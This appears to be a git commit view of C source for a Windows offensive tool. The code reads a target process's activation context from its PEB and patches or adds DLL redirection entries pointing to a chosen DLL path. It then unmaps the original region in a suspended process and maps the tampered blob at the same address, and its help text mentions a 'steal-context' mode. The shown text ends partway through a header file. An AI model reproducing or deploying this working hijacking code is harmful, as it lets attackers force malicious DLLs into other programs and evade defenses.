Initial commit

This commit is contained in:
r3xmax
2026-06-16 13:13:09 +02:00
commit 244df0d3d7
25 changed files with 3508 additions and 0 deletions
+736
View File
@@ -0,0 +1,736 @@
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
#include "actctx.h"
#include "ntdefs.h"
/* --------------------- Helper functions --------------------- */
/* ------------------------------------------------------------ */
static int bounds_ok(const BYTE* blob, ULONG totalSize, ULONG offset, ULONG size)
{
if ((ULONGLONG)offset + size > totalSize) return 0;
return 1;
}
static void print_wcs(const WCHAR* ws, ULONG byteLen)
{
ULONG nChars = byteLen / sizeof(WCHAR);
for (ULONG i = 0; i < nChars; i++)
wprintf(L"%c", ws[i]);
}
static WCHAR* assemble_path(
const BYTE* B1,
ULONG b1Offset,
const ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION* redir,
ULONG totalSize)
{
if (redir->PathSegmentCount == 0 || redir->TotalPathLength == 0)
return NULL;
ULONG bufBytes = redir->TotalPathLength + sizeof(WCHAR);
WCHAR* result = (WCHAR*)malloc(bufBytes);
if (!result) return NULL;
ZeroMemory(result, bufBytes);
WCHAR* cursor = result;
ULONG remaining = redir->TotalPathLength;
const ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT* segs =
BLOB_PTR(B1, redir->PathSegmentOffset,
ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT);
ULONG segsOffset = b1Offset + redir->PathSegmentOffset;
ULONG segsBytes = redir->PathSegmentCount *
sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT);
if (!bounds_ok((BYTE*)0, totalSize, segsOffset, segsBytes)) {
free(result);
return NULL;
}
for (ULONG s = 0; s < redir->PathSegmentCount; s++) {
if (segs[s].Length == 0 || segs[s].Length > remaining) break;
ULONG segGlobalOffset = b1Offset + segs[s].Offset;
if (!bounds_ok((BYTE*)0, totalSize, segGlobalOffset, segs[s].Length)) break;
const WCHAR* fragment = BLOB_PTR(B1, segs[s].Offset, WCHAR);
ULONG nChars = segs[s].Length / sizeof(WCHAR);
memcpy(cursor, fragment, segs[s].Length);
cursor += nChars;
remaining -= segs[s].Length;
}
return result;
}
static ULONG x65599_hash(const WCHAR* str, ULONG byteLen)
{
ULONG hash = 0;
ULONG nChars = byteLen / sizeof(WCHAR);
for (ULONG i = 0; i < nChars; i++) {
WCHAR c = str[i];
if (c >= L'a' && c <= L'z') c -= (L'a' - L'A'); // <- uppercase
hash = hash * 65599 + c;
}
return hash;
}
static ULONG calc_needed(ULONG existingEntryCount, ULONG keyByteLen, ULONG pathByteLen)
{
return (existingEntryCount + 1)
* sizeof(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY)
+ keyByteLen
+ sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION)
+ sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT)
+ pathByteLen;
}
static int locate_redir(
BYTE* blob,
ULONG totalSize,
ULONG entryIdx,
ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION** ppRedir,
BYTE** ppB1,
ULONG* pb1Offset)
{
ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob;
ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc =
(ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset);
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries =
(ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset);
// Search for Id==2
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllToc = NULL;
for (ULONG i = 0; i < toc->EntryCount; i++) {
if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) {
dllToc = &tocEntries[i];
break;
}
}
if (!dllToc) {
printf("[ERROR] locate_redir: no DLL redirection section (Id==2) found.\n");
return -1;
}
ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr =
(ACTIVATION_CONTEXT_STRING_SECTION_HEADER*)(blob + dllToc->Offset);
BYTE* B1 = (BYTE*)sshdr;
ULONG b1Off = dllToc->Offset;
if (entryIdx >= sshdr->ElementCount) {
fprintf(stderr, "[!] locate_redir: entryIdx %lu >= ElementCount %lu\n",
entryIdx, sshdr->ElementCount);
return -1;
}
ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* strEntries =
(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(B1 + sshdr->ElementListOffset);
ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* e = &strEntries[entryIdx];
ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION* redir =
(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION*)(B1 + e->Offset);
*ppRedir = redir;
*ppB1 = B1;
*pb1Offset = b1Off;
return 0;
}
/* --------------------- Finish of Helper functions --------------------- */
/* ---------------------------------------------------------------------- */
/* ------------------------ Utility functions --------------------------- */
/* ---------------------------------------------------------------------- */
// Reads ACTIVATION_CONTEXT_DATA from a remote process via its PEB and copies the full blob to a local heap buffer
void* CopyRemoteActCtxByHandle(fnNtQueryInformationProcess pNtQueryInformationProcess, fnNtReadVirtualMemory pNtReadVirtualMemory, HANDLE hProcess, PSIZE_T actCtxSize){
NTSTATUS status = 0;
// Get remote PEB address via ProcessBasicInformation
PROCESS_BASIC_INFORMATION pbi = {0};
ULONG returnLength = 0;
status = pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &returnLength);
if(!NT_SUCCESS(status)){
printf("[ERROR] NtQueryInformationProcess failed. Status: 0x%08lX\n", (unsigned long)status);
return (void*)0;
}
// Read the pointer at PEB+0x2F8 (ActivationContextData) to get B0
PVOID actxBase = NULL;
SIZE_T got = 0;
PVOID actxFieldAddr = (PVOID)((ULONG_PTR)pbi.PebBaseAddress + 0x2f8);
status = pNtReadVirtualMemory(hProcess, actxFieldAddr, &actxBase, sizeof(actxBase), &got);
if (!NT_SUCCESS(status)) {
printf("[ERROR] NtReadVirtualMemory failed. Status: 0x%08lX\n", (unsigned long)status);
return (void*)0;
}
// Read the fixed header to extract TotalSize and validate Magic
ACTIVATION_CONTEXT_DATA hdr = {0};
status = pNtReadVirtualMemory(hProcess, actxBase, &hdr, sizeof(hdr), &got);
if (!NT_SUCCESS(status)) {
printf("[ERROR] NtReadVirtualMemory failed. Status: 0x%08lX\n", (unsigned long)status);
return (void*)0;
}
// Validate Magic: must be 0x78746341 ("Actx")
if(hdr.Magic != ACTX_MAGIC){
printf("[ERROR] Invalid Magic number on ACTIVATION_CONTEXT_DATA (expected 0x%08lX = \"Actx\")\n", ACTX_MAGIC);
return (void*)0;
}
// Security check on TotalSize before allocating
if (hdr.TotalSize < sizeof(ACTIVATION_CONTEXT_DATA) || hdr.TotalSize > (64u * 1024u * 1024u)) {
printf("[ERROR] ACTIVATION_CONTEXT_DATA.TotalSize out-of-bound: 0x%lX\n", hdr.TotalSize);
return (void*)0;
}
// Allocate local buffer and copy the full blob from the target process
SIZE_T blobSize = (SIZE_T)hdr.TotalSize;
PVOID blob = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, blobSize);
if (!blob) {
printf("[ERROR] HeapAlloc(%zu) failed\n", blobSize);
return (void*)0;
}
status = pNtReadVirtualMemory(hProcess, actxBase, blob, blobSize, &got);
if (!NT_SUCCESS(status)) {
printf("[ERROR] NtReadVirtualMemory failed. Status: 0x%08lX\n", (unsigned long)status);
HeapFree(GetProcessHeap(), 0, blob);
return (void*)0;
}
*actCtxSize = blobSize;
printf("[SUCCESS] Activation Context Data Blob copied to local heap buffer @%p (%zu bytes)\n", blob, blobSize);
return blob;
}
// Parses the DLL redirection section from a local ACTIVATION_CONTEXT_DATA blob and prints the results
void ParseDllRedirections(const BYTE* blob, ULONG totalSize)
{
// 1. Blob header
if (!bounds_ok(blob, totalSize, 0, sizeof(ACTIVATION_CONTEXT_DATA))) {
wprintf(L"[ERROR] Blob too small for ACTIVATION_CONTEXT_DATA\n");
return;
}
const ACTIVATION_CONTEXT_DATA* actx =
BLOB_PTR(blob, 0, ACTIVATION_CONTEXT_DATA);
wprintf(L"\n+-[ ACTIVATION CONTEXT DATA ]\n");
wprintf(L"| Magic : 0x%08lX (Actx)\n", actx->Magic);
wprintf(L"| HeaderSize : 0x%lX (%lu bytes)\n", actx->HeaderSize, actx->HeaderSize);
wprintf(L"| FormatVersion : %lu\n", actx->FormatVersion);
wprintf(L"| TotalSize : 0x%lX (%lu bytes)\n", actx->TotalSize, actx->TotalSize);
wprintf(L"| Flags : 0x%08lX\n", actx->Flags);
wprintf(L"|\n");
// 2. TOC header
if (!bounds_ok(blob, totalSize,
actx->DefaultTocOffset,
sizeof(ACTIVATION_CONTEXT_DATA_TOC_HEADER))) {
wprintf(L"+--[ERROR] DefaultTocOffset out of range\n");
return;
}
const ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc =
BLOB_PTR(blob, actx->DefaultTocOffset, ACTIVATION_CONTEXT_DATA_TOC_HEADER);
// 3. TOC entries
ULONG tocEntriesSize =
toc->EntryCount * sizeof(ACTIVATION_CONTEXT_DATA_TOC_ENTRY);
if (!bounds_ok(blob, totalSize, toc->FirstEntryOffset, tocEntriesSize)) {
wprintf(L"+--[ERROR] TOC entries array out of range\n");
return;
}
const ACTIVATION_CONTEXT_DATA_TOC_ENTRY* entries =
BLOB_PTR(blob, toc->FirstEntryOffset, ACTIVATION_CONTEXT_DATA_TOC_ENTRY);
wprintf(L"+--[ TOC ] %lu %s\n",
toc->EntryCount,
toc->EntryCount == 1 ? L"entry" : L"entries");
// 4. Find DLL redirection entry
const ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllEntry = NULL;
for (ULONG i = 0; i < toc->EntryCount; i++) {
BOOL isDll = (entries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION);
wprintf(L"| [%02lu] Id=%-2lu Format=%lu Offset=0x%04lX Length=0x%04lX%s\n",
i,
entries[i].Id,
entries[i].Format,
entries[i].Offset,
entries[i].Length,
isDll ? L" <-- DLL Redirection" : L"");
if (isDll)
dllEntry = &entries[i];
}
wprintf(L"|\n");
if (!dllEntry) {
wprintf(L"+--[ DLL REDIRECTION ] not present in this blob\n");
wprintf(L"|\n");
wprintf(L"+--[ HINT ] Use 'steal-context' to steal the Activation Context\n");
wprintf(L" from a running process that has one.\n");
wprintf(L" Example: -m spawn|runtime -s steal-context -p <target> -d <dll> --dll-path <path> --steal-from <process>\n\n");
return;
}
if (dllEntry->Format != ACTIVATION_CONTEXT_SECTION_FORMAT_STRING_TABLE) {
wprintf(L"+--[ERROR] Unexpected DLL section format: %lu\n", dllEntry->Format);
return;
}
// 5. STRING_SECTION_HEADER = B1
if (!bounds_ok(blob, totalSize,
dllEntry->Offset,
sizeof(ACTIVATION_CONTEXT_STRING_SECTION_HEADER))) {
wprintf(L"+--[ERROR] STRING_SECTION_HEADER offset out of range\n");
return;
}
const ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr =
BLOB_PTR(blob, dllEntry->Offset, ACTIVATION_CONTEXT_STRING_SECTION_HEADER);
if (sshdr->Magic != STRING_SECTION_MAGIC) {
wprintf(L"+--[ERROR] Invalid STRING_SECTION magic: 0x%08lX\n", sshdr->Magic);
return;
}
const BYTE* B1 = (const BYTE*)sshdr;
ULONG b1Off = dllEntry->Offset;
// 6. STRING_SECTION entries
ULONG entriesSize =
sshdr->ElementCount * sizeof(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY);
if (!bounds_ok(B1, totalSize - b1Off,
sshdr->ElementListOffset, entriesSize)) {
wprintf(L"+--[ERROR] STRING_SECTION_ENTRY array out of range\n");
return;
}
const ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* strEntries =
BLOB_PTR(B1, sshdr->ElementListOffset,
ACTIVATION_CONTEXT_STRING_SECTION_ENTRY);
wprintf(L"+--[ DLL REDIRECTION ] %lu %s\n",
sshdr->ElementCount,
sshdr->ElementCount == 1 ? L"entry" : L"entries");
// 7. Iterate entries
for (ULONG i = 0; i < sshdr->ElementCount; i++) {
const ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* e = &strEntries[i];
BOOL isLast = (i == sshdr->ElementCount - 1);
/* DLL name (key) */
wprintf(L"| [%02lu] ", i);
if (bounds_ok(B1, totalSize - b1Off, e->KeyOffset, e->KeyLength)) {
const WCHAR* key = BLOB_PTR(B1, e->KeyOffset, WCHAR);
print_wcs(key, e->KeyLength);
} else {
wprintf(L"<key out of range>");
}
wprintf(L"\n");
// DLL_REDIRECTION
if (!bounds_ok(B1, totalSize - b1Off,
e->Offset,
sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION))) {
wprintf(L"| <DLL_REDIRECTION out of range>\n");
if (!isLast) wprintf(L"|\n");
continue;
}
const ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION* redir =
BLOB_PTR(B1, e->Offset, ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION);
// Flags as string
WCHAR flagStr[128] = { 0 };
if (redir->Flags == 0)
wcscat_s(flagStr, 128, L"NONE");
if (redir->Flags & ACTX_DLL_REDIR_PATH_INCLUDES_BASE_NAME)
wcscat_s(flagStr, 128, L"PATH_INCLUDES_BASE_NAME");
if (redir->Flags & ACTX_DLL_REDIR_OMITS_ASSEMBLY_ROOT)
wcscat_s(flagStr, 128, L"OMITS_ASSEMBLY_ROOT");
if (redir->Flags & ACTX_DLL_REDIR_EXPAND)
wcscat_s(flagStr, 128, L"EXPAND");
if (redir->Flags & ACTX_DLL_REDIR_SYSTEM_DEFAULT_REDIRECTED)
wcscat_s(flagStr, 128, L"SYSTEM_DEFAULT");
wprintf(L"| PseudoKey : 0x%08lX\n", e->PseudoKey);
wprintf(L"| RosterIdx : %lu\n", e->AssemblyRosterIndex);
wprintf(L"| Flags : %s\n", flagStr);
wprintf(L"| Segments : %lu PathLen=%lu bytes\n",
redir->PathSegmentCount, redir->TotalPathLength);
// Assembled path
WCHAR* fullPath = assemble_path(B1, b1Off, redir, totalSize);
if (fullPath) {
wprintf(L"| Path : %s\n", fullPath);
free(fullPath);
} else {
wprintf(L"| Path : <reconstructed from roster>\n");
}
if (!isLast) wprintf(L"|\n");
}
wprintf(L"|\n");
wprintf(L"+--[ END ]\n\n");
}
// Patches an existing DLL redirection entry with a new redirect path. Appends PATH_SEGMENT + WCHAR[] at the end of the blob.
ULONG PatchDllRedirectionEntry(
BYTE* blob,
ULONG totalSize,
ULONG entryIdx,
const WCHAR* redirectPath)
{
ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION* redir = NULL;
BYTE* B1 = NULL;
ULONG b1Off = 0;
if (locate_redir(blob, totalSize, entryIdx, &redir, &B1, &b1Off) != 0)
return totalSize;
printf("[PATCH] entry[%lu] before: Flags=0x%08lX SegCount=%lu PathLen=%lu\n",
entryIdx, redir->Flags, redir->PathSegmentCount, redir->TotalPathLength);
ULONG pathByteLen = (ULONG)(wcslen(redirectPath) * sizeof(WCHAR));
ULONG neededExtra = sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT)
+ pathByteLen;
if (neededExtra > EXTRA_BYTES) {
fprintf(stderr, "[ERROR] EXTRA_BYTES insufficient (%lu needed, %u available)\n",
neededExtra, EXTRA_BYTES);
return totalSize;
}
// Offsets from B1 for new data appended at end of blob
ULONG segOffsetFromB1 = totalSize - b1Off;
ULONG strOffsetFromB1 = segOffsetFromB1
+ sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT);
// Write PATH_SEGMENT at end of blob
ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT* newSeg =
(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT*)(blob + totalSize);
newSeg->Length = pathByteLen;
newSeg->Offset = strOffsetFromB1;
// Write WCHAR[] redirect path immediately after
WCHAR* strDest = (WCHAR*)(blob + totalSize
+ sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT));
memcpy(strDest, redirectPath, pathByteLen);
// Patch DLL_REDIRECTION fields
redir->Flags = ACTX_DLL_REDIR_PATH_INCLUDES_BASE_NAME;
redir->PathSegmentCount = 1;
redir->TotalPathLength = pathByteLen;
redir->PathSegmentOffset = segOffsetFromB1;
// Update TotalSize in blob header
ULONG newTotalSize = totalSize + neededExtra;
((ACTIVATION_CONTEXT_DATA*)blob)->TotalSize = newTotalSize;
// Update TOC entry Length to cover new data
ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob;
ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc = (ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset);
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries = (ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset);
for (ULONG i = 0; i < toc->EntryCount; i++) {
if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) {
tocEntries[i].Length = newTotalSize - b1Off;
break;
}
}
printf("[PATCH] segOffsetFromB1 = 0x%lX\n", segOffsetFromB1);
printf("[PATCH] strOffsetFromB1 = 0x%lX\n", strOffsetFromB1);
printf("[PATCH] pathByteLen = %lu bytes\n", pathByteLen);
printf("[PATCH] entry[%lu] after: Flags=0x%08lX SegCount=%lu PathLen=%lu\n",
entryIdx, redir->Flags, redir->PathSegmentCount, redir->TotalPathLength);
printf("[PATCH] TotalSize: 0x%lX -> 0x%lX\n", totalSize, newTotalSize);
return newTotalSize;
}
// Appends a brand-new DLL redirection entry to the blob. Relocates the entry array and writes all new structures at end of blob.
ULONG AddDllRedirectionEntry(
BYTE* blob,
ULONG totalSize,
const WCHAR* dllName,
const WCHAR* redirectPath,
ULONG rosterIdx)
{
ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob;
ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc = (ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset);
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries = (ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset);
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllToc = NULL;
for (ULONG i = 0; i < toc->EntryCount; i++) {
if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) {
dllToc = &tocEntries[i];
break;
}
}
if (!dllToc) {
fprintf(stderr, "[ERROR] AddDllEntry: no DLL redirection section (Id==2) found.\n");
return totalSize;
}
ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr =
(ACTIVATION_CONTEXT_STRING_SECTION_HEADER*)(blob + dllToc->Offset);
BYTE* B1 = (BYTE*)sshdr;
ULONG b1Off = dllToc->Offset;
ULONG keyByteLen = (ULONG)(wcslen(dllName) * sizeof(WCHAR));
ULONG pathByteLen = (ULONG)(wcslen(redirectPath) * sizeof(WCHAR));
ULONG needed = calc_needed(sshdr->ElementCount, keyByteLen, pathByteLen);
if (needed > EXTRA_BYTES_ADD) {
fprintf(stderr, "[ERROR] AddDllEntry: need %lu bytes, EXTRA_BYTES_ADD=%u\n",
needed, EXTRA_BYTES_ADD);
return totalSize;
}
ULONG cursor = totalSize;
// 1. Relocate existing entry array to end of blob
ULONG oldEntriesBytes = sshdr->ElementCount * sizeof(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY);
ULONG newArrayOffsetFromB1 = cursor - b1Off;
memcpy(blob + cursor, B1 + sshdr->ElementListOffset, oldEntriesBytes);
cursor += oldEntriesBytes;
// 2. Write new STRING_SECTION_ENTRY
ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* newEntry =
(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(blob + cursor);
cursor += sizeof(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY);
// 3. Write WCHAR[] DLL key
ULONG keyOffsetFromB1 = cursor - b1Off;
memcpy(blob + cursor, dllName, keyByteLen);
cursor += keyByteLen;
// 4. Write ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION
ULONG redirOffsetFromB1 = cursor - b1Off;
ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION* redir =
(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION*)(blob + cursor);
cursor += sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION);
// 5. Write PATH_SEGMENT
ULONG segOffsetFromB1 = cursor - b1Off;
ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT* seg =
(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT*)(blob + cursor);
cursor += sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT);
// 6. Write WCHAR[] redirect path
ULONG strOffsetFromB1 = cursor - b1Off;
memcpy(blob + cursor, redirectPath, pathByteLen);
cursor += pathByteLen;
// Fill structures with computed offsets
seg->Length = pathByteLen;
seg->Offset = strOffsetFromB1;
redir->Size = sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION);
redir->Flags = ACTX_DLL_REDIR_PATH_INCLUDES_BASE_NAME;
redir->TotalPathLength = pathByteLen;
redir->PathSegmentCount = 1;
redir->PathSegmentOffset = segOffsetFromB1;
newEntry->PseudoKey = x65599_hash(dllName, keyByteLen);
newEntry->KeyOffset = keyOffsetFromB1;
newEntry->KeyLength = keyByteLen;
newEntry->Offset = redirOffsetFromB1;
newEntry->Length = sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION)
+ sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT)
+ pathByteLen;
newEntry->AssemblyRosterIndex = rosterIdx;
// Update STRING_SECTION_HEADER
sshdr->ElementListOffset = newArrayOffsetFromB1;
sshdr->ElementCount += 1;
// Full insertion sort of all entries by PseudoKey. The donor blob's original
// ElementList is in arbitrary order (the donor used SearchStructureOffset for
// lookup, so order never mattered there). We must sort every element — not
// just insert the new one — before zeroing SearchStructureOffset, otherwise
// ntdll's binary-search fallback will miss entries in the wrong positions.
ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* arr =
(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(blob + totalSize);
ULONG arrCount = sshdr->ElementCount;
ULONG savedPseudoKey = arr[arrCount - 1].PseudoKey; // capture before sort moves it
for (ULONG si = 1; si < arrCount; si++) {
ACTIVATION_CONTEXT_STRING_SECTION_ENTRY stmp = arr[si];
LONG j = (LONG)si - 1;
while (j >= 0 && arr[j].PseudoKey > stmp.PseudoKey) {
arr[j + 1] = arr[j];
j--;
}
arr[j + 1] = stmp;
}
sshdr->SearchStructureOffset = 0;
// Update blob TotalSize and TOC entry Length
ULONG newTotalSize = cursor;
actx->TotalSize = newTotalSize;
dllToc->Length = newTotalSize - b1Off;
printf("[ADD] DLL key : %ls\n", dllName);
printf("[ADD] Redirect path : %ls\n", redirectPath);
printf("[ADD] PseudoKey : 0x%08lX\n", savedPseudoKey);
printf("[ADD] RosterIndex : %lu\n", rosterIdx);
printf("[ADD] ElementCount : %lu\n", sshdr->ElementCount);
printf("[ADD] TotalSize : 0x%lX -> 0x%lX\n", totalSize, newTotalSize);
return newTotalSize;
}
// Searches the DLL Redirection section (TOC Id==2) for an entry matching
// dllName using case-insensitive key comparison (bypasses PseudoKey mismatch).
// If found, patches its redirect path. If not found, adds a new entry.
ULONG PatchOrAddDllRedirection(
BYTE* blob,
ULONG totalSize,
const WCHAR* dllName,
const WCHAR* redirectPath,
ULONG rosterIdx)
{
ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob;
ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc = (ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset);
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries = (ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset);
// Locate TOC entry Id==2
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllToc = NULL;
for (ULONG i = 0; i < toc->EntryCount; i++) {
if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) {
dllToc = &tocEntries[i];
break;
}
}
if (!dllToc) {
fprintf(stderr, "[ERROR] PatchOrAdd: no DLL redirection section (Id==2) found.\n");
return totalSize;
}
ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr =
(ACTIVATION_CONTEXT_STRING_SECTION_HEADER*)(blob + dllToc->Offset);
BYTE* B1 = (BYTE*)sshdr;
ULONG b1Off = dllToc->Offset;
ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* strEntries =
(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(B1 + sshdr->ElementListOffset);
ULONG keyByteLen = (ULONG)(wcslen(dllName) * sizeof(WCHAR));
// Search by case-insensitive key comparison only (skip PseudoKey check
// since Windows may hash with different normalization)
LONG foundIdx = -1;
for (ULONG i = 0; i < sshdr->ElementCount; i++) {
if (keyByteLen != strEntries[i].KeyLength) continue;
if (!bounds_ok(B1, totalSize - b1Off,
strEntries[i].KeyOffset,
strEntries[i].KeyLength)) continue;
const WCHAR* existingKey = (const WCHAR*)(B1 + strEntries[i].KeyOffset);
ULONG nChars = keyByteLen / sizeof(WCHAR);
BOOL match = TRUE;
for (ULONG c = 0; c < nChars; c++) {
WCHAR a = existingKey[c];
WCHAR b = dllName[c];
if (a >= L'A' && a <= L'Z') a += (L'a' - L'A');
if (b >= L'A' && b <= L'Z') b += (L'a' - L'A');
if (a != b) { match = FALSE; break; }
}
if (match) { foundIdx = (LONG)i; break; }
}
if (foundIdx >= 0) {
printf("[+] '%ls' found at entry[%ld] -> patching path.\n", dllName, foundIdx);
return PatchDllRedirectionEntry(blob, totalSize, (ULONG)foundIdx, redirectPath);
} else {
printf("[+] '%ls' not found -> adding new entry.\n", dllName);
return AddDllRedirectionEntry(blob, totalSize, dllName, redirectPath, rosterIdx);
}
}
// Hijacks the memory region by unmapping the original Activation Context and mapping the patched one
NTSTATUS HijackActCtx(
fnNtReadVirtualMemory pNtReadVirtualMemory,
fnNtCreateSection pNtCreateSection,
fnNtMapViewOfSection pNtMapViewOfSection,
fnNtUnmapViewOfSection pNtUnmapViewOfSection,
fnNtQueryInformationProcess pNtQueryInformationProcess,
HANDLE hProcess,
void* actCtxBlob,
SIZE_T actCtxSize
){
NTSTATUS status;
// Get PEB address of the target (suspended) process
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG returnLength = 0;
status = pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &returnLength);
if (!NT_SUCCESS(status)) {
printf("[ERROR] NtQueryInformationProcess failed: 0x%08lX\n", status);
return status;
}
// Read the pointer at PEB+0x2F8 (ActivationContextData) - this is the kernel-set address
PVOID originalAddr = NULL;
SIZE_T bytesRead = 0;
status = pNtReadVirtualMemory(hProcess, (PVOID)((ULONG_PTR)pbi.PebBaseAddress + 0x2F8), &originalAddr, sizeof(PVOID), &bytesRead);
if (!NT_SUCCESS(status)) {
printf("[ERROR] NtReadVirtualMemory (PEB.ActivationContextData) failed: 0x%08lX\n", status);
return status;
}
printf("[INFO] Original PEB.ActivationContextData = %p\n", originalAddr);
// Create an anonymous page-file-backed section sized to our patched blob
LARGE_INTEGER secSize;
secSize.QuadPart = (LONGLONG)actCtxSize;
HANDLE hSection = NULL;
status = pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &secSize, PAGE_READWRITE, SEC_COMMIT, NULL);
if (!NT_SUCCESS(status)) {
printf("[ERROR] NtCreateSection failed: 0x%08lX\n", status);
return status;
}
// Map the section locally and copy the patched blob into it
PVOID localView = NULL;
SIZE_T localViewSize = 0;
status = pNtMapViewOfSection(hSection, NtCurrentProcess(), &localView, 0, 0, NULL, &localViewSize, ViewUnmap, 0, PAGE_READWRITE);
if (!NT_SUCCESS(status)) {
printf("[ERROR] NtMapViewOfSection (local) failed: 0x%08lX\n", status);
CloseHandle(hSection);
return status;
}
memcpy(localView, actCtxBlob, actCtxSize);
pNtUnmapViewOfSection(NtCurrentProcess(), localView);
printf("[SUCCESS] Patched blob written to section (%zu bytes)\n", actCtxSize);
// Unmap the original kernel-mapped ActivationContextData region
status = pNtUnmapViewOfSection(hProcess, originalAddr);
if (!NT_SUCCESS(status)) {
printf("[ERROR] NtUnmapViewOfSection (original) failed: 0x%08lX\n", status);
CloseHandle(hSection);
return status;
}
printf("[SUCCESS] Original Activation Context region unmapped @ %p\n", originalAddr);
// Remap our section at the exact same address - PEB pointer stays valid
PVOID remoteBase = originalAddr;
SIZE_T remoteViewSize = 0;
status = pNtMapViewOfSection(hSection, hProcess, &remoteBase, 0, 0, NULL, &remoteViewSize, ViewUnmap, 0, PAGE_READWRITE);
if (!NT_SUCCESS(status)) {
printf("[ERROR] NtMapViewOfSection (remote) failed: 0x%08lX\n", status);
CloseHandle(hSection);
return status;
}
printf("[SUCCESS] Patched Activation Context mapped at %p (same address)\n", remoteBase);
CloseHandle(hSection);
return STATUS_SUCCESS;
}
+71
View File
@@ -0,0 +1,71 @@
#pragma once
#include <Windows.h>
#include "ntdefs.h"
#define EXTRA_BYTES 512 // extra space for PatchDllRedirectionEntry
#define EXTRA_BYTES_ADD 1024 // extra space for AddDllRedirectionEntry
void* CopyRemoteActCtxByHandle(
